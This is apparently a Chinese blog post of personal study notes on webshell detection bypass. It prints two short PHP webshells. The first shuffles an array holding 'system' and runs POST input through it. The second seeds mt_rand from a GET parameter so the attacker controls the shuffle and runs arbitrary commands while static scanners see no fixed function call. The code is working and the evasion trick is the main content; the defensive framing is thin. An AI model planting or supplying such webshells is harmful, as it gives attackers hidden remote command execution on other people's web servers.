记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
海上彼尚13 小时前
[逆向] 1.本地登录爆破
前端·安全
周全全14 小时前
基于ElasticSearch的语义检索学习-向量化数据、向量化相似度、向量化检索
大数据·学习·elasticsearch
dyxal14 小时前
非对称加密:彻底解决密钥分发难题的数字安全革命
服务器·网络·安全
4***721314 小时前
网络爬虫学习:借助DeepSeek完善爬虫软件,实现模拟鼠标右键点击,将链接另存为本地文件
爬虫·学习·计算机外设
t***316514 小时前
爬虫学习案例3
爬虫·python·学习
hhcccchh14 小时前
学习vue第七天 从单页面应用(SPA)进化为后台管理系统架构
vue.js·学习·系统架构
文涛是个小白呀15 小时前
Java集合大调研
java·学习·链表·面试
hd51cc15 小时前
MFC多线程学习笔记三:线程间的通信
笔记·学习
hd51cc15 小时前
MFC多线程学习笔记四:线程间的同步
笔记·学习·mfc
wdfk_prog15 小时前
[Linux]学习笔记系列 -- [block]bfq-iosched
linux·笔记·学习